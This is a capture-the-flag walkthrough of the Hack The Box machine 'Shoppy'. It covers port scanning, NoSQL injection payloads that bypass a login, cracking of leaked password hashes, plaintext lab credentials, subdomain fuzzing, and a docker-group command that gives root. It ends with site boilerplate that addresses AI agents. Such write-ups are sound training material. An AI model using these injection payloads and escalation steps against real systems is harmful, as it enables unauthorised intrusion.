# Hackthebox - Shoppy

* Linux

![Shoppy](/files/mhTNXVd7GdSPhRgFQkyz)

* [Box on HTB](https://app.hackthebox.com/machines/151)

## Nmap

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -T4 -sC -sV -O -Pn -p- 10.10.11.180         
[sudo] password for kali: 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-24 09:14 EDT
Nmap scan report for 10.10.11.180
Host is up (0.022s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
|   256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_  256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp   open  http     nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Sat, 24 Sep 2022 13:27:12 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 7
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 7
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 1.653e-05
|     go_gc_duration_seconds{quantile="0.25"} 8.054e-05
|_    go_gc_durat
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9093-TCP:V=7.92%I=7%D=9/24%Time=632F05AF%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,2A5A,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/plain;\x20version=0\.0\.4;\x20charset=utf-8\r\nDate:\x20Sat,\x2
SF:024\x20Sep\x202022\x2013:27:12\x20GMT\r\n\r\n#\x20HELP\x20go_gc_cycles_
SF:automatic_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\x
SF:20generated\x20by\x20the\x20Go\x20runtime\.\n#\x20TYPE\x20go_gc_cycles_
SF:automatic_gc_cycles_total\x20counter\ngo_gc_cycles_automatic_gc_cycles_
SF:total\x207\n#\x20HELP\x20go_gc_cycles_forced_gc_cycles_total\x20Count\x
SF:20of\x20completed\x20GC\x20cycles\x20forced\x20by\x20the\x20application
SF:\.\n#\x20TYPE\x20go_gc_cycles_forced_gc_cycles_total\x20counter\ngo_gc_
SF:cycles_forced_gc_cycles_total\x200\n#\x20HELP\x20go_gc_cycles_total_gc_
SF:cycles_total\x20Count\x20of\x20all\x20completed\x20GC\x20cycles\.\n#\x2
SF:0TYPE\x20go_gc_cycles_total_gc_cycles_total\x20counter\ngo_gc_cycles_to
SF:tal_gc_cycles_total\x207\n#\x20HELP\x20go_gc_duration_seconds\x20A\x20s
SF:ummary\x20of\x20the\x20pause\x20duration\x20of\x20garbage\x20collection
SF:\x20cycles\.\n#\x20TYPE\x20go_gc_duration_seconds\x20summary\ngo_gc_dur
SF:ation_seconds{quantile=\"0\"}\x201\.653e-05\ngo_gc_duration_seconds{qua
SF:ntile=\"0\.25\"}\x208\.054e-05\ngo_gc_durat")%r(HTTPOptions,2F0E,"HTTP/
SF:1\.0\x20200\x20OK\r\nContent-Type:\x20text/plain;\x20version=0\.0\.4;\x
SF:20charset=utf-8\r\nDate:\x20Sat,\x2024\x20Sep\x202022\x2013:27:12\x20GM
SF:T\r\n\r\n#\x20HELP\x20go_gc_cycles_automatic_gc_cycles_total\x20Count\x
SF:20of\x20completed\x20GC\x20cycles\x20generated\x20by\x20the\x20Go\x20ru
SF:ntime\.\n#\x20TYPE\x20go_gc_cycles_automatic_gc_cycles_total\x20counter
SF:\ngo_gc_cycles_automatic_gc_cycles_total\x207\n#\x20HELP\x20go_gc_cycle
SF:s_forced_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\x2
SF:0forced\x20by\x20the\x20application\.\n#\x20TYPE\x20go_gc_cycles_forced
SF:_gc_cycles_total\x20counter\ngo_gc_cycles_forced_gc_cycles_total\x200\n
SF:#\x20HELP\x20go_gc_cycles_total_gc_cycles_total\x20Count\x20of\x20all\x
SF:20completed\x20GC\x20cycles\.\n#\x20TYPE\x20go_gc_cycles_total_gc_cycle
SF:s_total\x20counter\ngo_gc_cycles_total_gc_cycles_total\x207\n#\x20HELP\
SF:x20go_gc_duration_seconds\x20A\x20summary\x20of\x20the\x20pause\x20dura
SF:tion\x20of\x20garbage\x20collection\x20cycles\.\n#\x20TYPE\x20go_gc_dur
SF:ation_seconds\x20summary\ngo_gc_duration_seconds{quantile=\"0\"}\x201\.
SF:653e-05\ngo_gc_duration_seconds{quantile=\"0\.25\"}\x208\.054e-05\ngo_g
SF:c_durat");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=9/24%OT=22%CT=1%CU=35629%PV=Y%DS=2%DC=I%G=Y%TM=632F060
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M539ST11NW7%O2=M539ST11NW7%O3=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST1
OS:1NW7%O6=M539ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M539NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 837.29 seconds
```

## Port 80

* According to nmap we should change our hosts fil /etc/hosts and add this line `10.10.11.180 shoppy.htb`
* If we then browse to <http://shoppy.htb/> we get this page\
  ![shoppy](/files/loDLSzi6KdlBlLFZeMrn)

### Gobuster

```bash
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://shoppy.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://shoppy.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/09/24 09:50:27 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 179] [--> /images/]
/login                (Status: 200) [Size: 1074]              
/admin                (Status: 302) [Size: 28] [--> /login]   
/assets               (Status: 301) [Size: 179] [--> /assets/]
/css                  (Status: 301) [Size: 173] [--> /css/]   
/Login                (Status: 200) [Size: 1074]              
/js                   (Status: 301) [Size: 171] [--> /js/]    
/fonts                (Status: 301) [Size: 177] [--> /fonts/] 
/Admin                (Status: 302) [Size: 28] [--> /login]
/exports              (Status: 301) [Size: 181] [--> /exports/]
```

* Let's try a bigger wordlist
* We have a login page\
  ![login](/files/4bZBWLQZzEwATryoydUy)
* We can try nosql injection. This [Video of Farah Hawa](https://youtu.be/cuqkhLkekY4) explains it very well
* Using the video I tried a few payload and got an interesting output with this one

```json
{
    "username":"shoppy",
    "password":{
        $gt:""
    }
}
```

* We get an error that reveals a username `jaeger`\
  ![error](/files/LE9fircjMSzi3xcIt8zk)
* I did forget the quotes for the $gt. Let's try this

```json
{
    "username":"jaeger",
    "password":{
        "$gt":""
    }
}
```

* We get the same error
* Let's have a look at NoSQLInjection payloads from [payloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
* These give a 504

```json

{"username": {"$ne": null}, "password": {"$ne": null}}

========================================================

{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}

```

* We do not get anything here let's try this `|| 1==1` which looks like the classic sql injection translated in noSQL. You cand find it in [this section](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#mongodb-payloads) of payloadAllTheThings github
* So let's change our request back in x-www-form-urlencoded. I tried with the username `jaeger` and got nothing but with `admin` it worked.
* Here is the working request

```html
username=admin%27%7C%7C%271%3D%3D1&password=test
```

* We can see that we get a cookie and are redirected

![response](/files/xPq3Eg4P7aaUEXPD5jpS)

* Once logged in we get this page

![admin](/files/HOkFNKiFL9a6D7VM4dZl)

* We have function search user.
* If we look for admin we get the possibility to "Download Export" which gives json file.

![search](/files/x1zxxF4zKe3W77GVbexV)

* Here is the json we get when downloading the export

![export](/files/I3k3krezLJnTJtLDDFpJ)

* We have a hash for the admin password `23c6877d9e2b564ef8b32c3a23de27b2`
* Let's try to crack it. Before using hashcat I like to check on

[crackstation](https://crackstation.net/). It does not find it so let's try to crack it

* Just for sanitiy I checked it with `hash-identifier` it is MD5
* No luck with hashcat either. Let's explore the website again. Let's try again with nosqlinjection on the search field. We might get more users this way.
* Ok I am trying the exact same paylaod

![payload](/files/ALj2fDLvGHKRXBlaCNhg)

* It works we get one more user ![list of users](/files/ChncBvHEIuU3gLtjenJt)
* Let's try to crack josh's password now. And it works with crackstation! `remembermethisway`

![john's password](/files/PJU2jmyb2iCFLuzWw5TP)

* The password does not work on ssh
* Maybe it's time to enumerate subdomain. I always forget to do it at the begining but here it is worth trying because this password must work somewhere else.
* I tried the big list in web content of sec list but had no luck the one that worked is the first in the DNS folder `wfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u 'http://shoppy.htb/' -H "HOST: FUZZ.shoppy.htb" --hc 301`

```bash
┌──(kali㉿kali)-[~]
└─$ wfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u 'http://shoppy.htb/' -H "HOST: FUZZ.shoppy.htb" --hc 301
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://shoppy.htb/
Total requests: 100000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                     
=====================================================================

000047340:   200        0 L      141 W      3122 Ch     "mattermost - mattermost" 
Total time: 0
Processed Requests: 100000
Filtered Requests: 99999
Requests/sec.: 0
```

* We have something here. Let's add it in our /etc/hosts file `10.10.11.180 shoppy.htb mattermost.shoppy.htb` And when we browse to `http://mattermost.shoppy.htb/` we end up here.
* Now let's try to login with our cracked password `josh:remembermethisway`
* And it works\
  ![mattermost](/files/hTILMHhTdzq4LpUS1lq8)
* Here are more info about [mattermost](https://mattermost.com/)
* It is a platform with workspaces and chat for work. The version is 7.1.2 as we can see in the about pop up here

![version](/files/FsNtAmTsOK9Vz4gsH2aD)

* If we browse we can find some sensitive information in the "Deploy Machine" channel

![deploy machine](/files/4JDGnjWpPA0BZWn0jnW2)

* Let's try to connect with ssh with these `jaeger:Sh0ppyBest@pp!`. It works

![shell](/files/CYnlXp4e8REnSBO1lvd3)

## Privilege Escalation

### From jaeger to deploy

* First let's `sudo -l`

![sudo l](/files/nXX9ziOdVbUEBnnetk1N)

Let's have a look at this password-manager thing. There was a hint about it also in mattermost.

* If we launch it it will ask for a password `sudo -u deploy /home/deploy/password-manager`
* we need to lookup for a password in the files we can read.
* Let's make a strings on the binary `strings /home/deploy/password-manager`. The following lines are interesting

![strings](/files/xeBlaNlFxNsiNizqs907)

* Maybe if we use cat we will actually see a password `cat /home/deploy/password-manager`

![password](/files/v61fXK0VriAJWGeqmstM)

* Let's try `Sample` as a password. It works. We get another password `Deploying@pp!` the one for the user deploy

![password](/files/92ibw1B1Xo2l6sqYxyg6)

### From deploy to root

* We can now ssh as deploy

![ssh deploy](/files/UIuHd1mhhO7oXIRXcAmi)

* sudo -l does not help here let's get linpeas. Here are the spec of our target `Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64 GNU/Linux`
* `wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64`
* `python3 -m http.server 80`
* And in our target `wget http://10.10.14.4/linpeas_linux_amd64`
* `chmod +x linpeas_linux_amd64`
* `./linpeas_linux_amd64`
* So we need to analyze further a few things
  * It mentions docker as a 95% pe vector so def worth having a look. The deploy user is a member of the docker group. Also I remember of an example that was using this. Let's check [gtfobins](https://gtfobins.github.io/gtfobins/docker/)
* We can run `docker run -v /:/mnt --rm -it alpine chroot /mnt sh` and it works! We are now root and can grab the last flag.

![root](/files/imyiY1APLIrCrr9bk9VO)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://csbygb.gitbook.io/pentips/writeups/htbwriteups/htb-shoppy.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
